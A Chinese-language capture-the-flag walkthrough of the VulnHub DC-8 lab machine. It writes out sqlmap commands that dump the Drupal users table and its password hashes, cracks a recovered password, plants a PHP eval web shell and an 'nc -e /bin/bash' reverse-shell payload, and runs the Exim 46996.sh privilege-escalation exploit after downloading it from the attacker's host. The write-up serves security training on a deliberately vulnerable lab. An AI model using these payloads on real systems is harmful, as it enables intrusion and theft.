DC系列靶机-DC8
一，环境的搭建
VM17 官网下载
kali 2023.4版 https://mirrors.tuna.tsinghua.edu.cn/kali-images/kali-2023.4/
靶场文件 https://download.vulnhub.com/dc/DC-8.zip
二，攻略
首先nmap一通扫；
扫描主机IP和端口；
靶机的地址是：192.168.20.150/24
仍然是只开放了80端口和22端口；
可以尝试一下目录扫描；
一眼看过去和dc7的有些类似；CMS貌似是Drupal；
点击过程中，后面的id=1，会发生变化；
这里最有可能出现的就是SQL注入；
尝试寻找注入点；
http://192.168.20.150/?nid=1%27%20or%201=1
测试SQL注入：' or 1=1--+
明显存在SQL注入漏洞；
接下来直接sqlmap跑一下；
sqlmap -u "192.168.20.150/?nid=1"
跑一下数据库；
sqlmap -u "192.168.20.150/?nid=1" --dbs
有两个数据库；
由于information_schema是MySQL的系统库，访问d7db这个数据库；
sqlmap -u "192.168.20.150/?nid=1" -D d7db --tables
访问users表；
sqlmap -u "192.168.20.150/?nid=1" --dbs -D d7db --tables -T users --columns
sqlmap -u "192.168.20.150/?nid=1" --dbs -D d7db --tables -T users --columns -C name,pass --dump
得到两条数据；用户名和密码，不过是加密的；
+--------+---------------------------------------------------------+
| name | pass |
+--------+---------------------------------------------------------+
| admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
| john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF |
+--------+---------------------------------------------------------+这里可以尝试使用工具去破解密码；
在Kali Linux中，John工具被广泛应用于密码破解任务。例如，它可以用来破解Kali系统中的用户密码。具体步骤包括使用John提供的unshadow命令合并/etc/passwd和/etc/shadow的数据，然后使用John工具对生成的文件进行破解。如果遇到“未加载密码哈希”的错误，可以通过更换编译指令或手动指定加密算法来解决。此外，John工具也可以用于破解受密码保护的Zip压缩文件，通过使用zip2john工具将zip文件转换为John能够理解的哈希格式，然后进行破解。
成功破解出了一组密码；
john:turtle 
尝试登录；
登录成功；
这里存在一个上传并且解析php代码的地方；
上传一句话；
<?php @eval($_POST['cmd']);?>
上传之后蚁剑无法连接；
尝试直接反弹shell；
<p>Thanks for taking the time to contact us. We shall be in contact soon.</p>
<?php
system("nc -e /bin/bash 192.168.20.151 4444");
?>
反弹shell连接成功；
开始进行信息收集；
首先查看passwd；
存在一个其他的用户；
sudo -l需要密码；
find / -perm -u=s -type f 2>/dev/null
#从根目录开始查找所有具有SUID权限的普通文件尝试suid提权；
Exim是一个MTA（Mail Transfer Agent），它的主要职责是发送、接收和路由电子邮件。作为一个邮件传输代理，Exim可以在不同的邮件服务器之间传递邮件，确保邮件能够正确地到达目的地。
查看版本；
尝试搜索一下历史的漏洞；
根据这个版本，选择46996.sh的脚本文件来提权；
searchsploit exim 4
#搜索历史的漏洞
searchsploit -m 46996.sh
vim 46996.sh
:set ff?
#查看是否为在Linux上运行的
:set ff=unix
#强制转化保证文件可以在Linux上运行；
接下来将文件拷贝过去；
这里可以采用和dc5一样的做法；使用python搭建一个简易的服务器，将要下载的文件挂接过去；
python3 -m http.server 80然后开始下载文件；
wget -c 192.168.20.151:80/46996.sh
chmod 777 46996.sh
./46996.sh -m netcat
id
cd /root
cat flag.txt在root目录下拿到最终的flag；
三，结论
对于?id=类似于这种的，尝试sql注入；
对于sql注入的自动化工具sqlmap的使用；
破解/etc/shadow中密码的工具john，可以尝试破解密码；
对于上传点，可以有不同的方式getshell，可以上传一句话，也可以直接反弹shell；
常见的提权思路；
对文件的操作过程中，选择在/tmp目录下；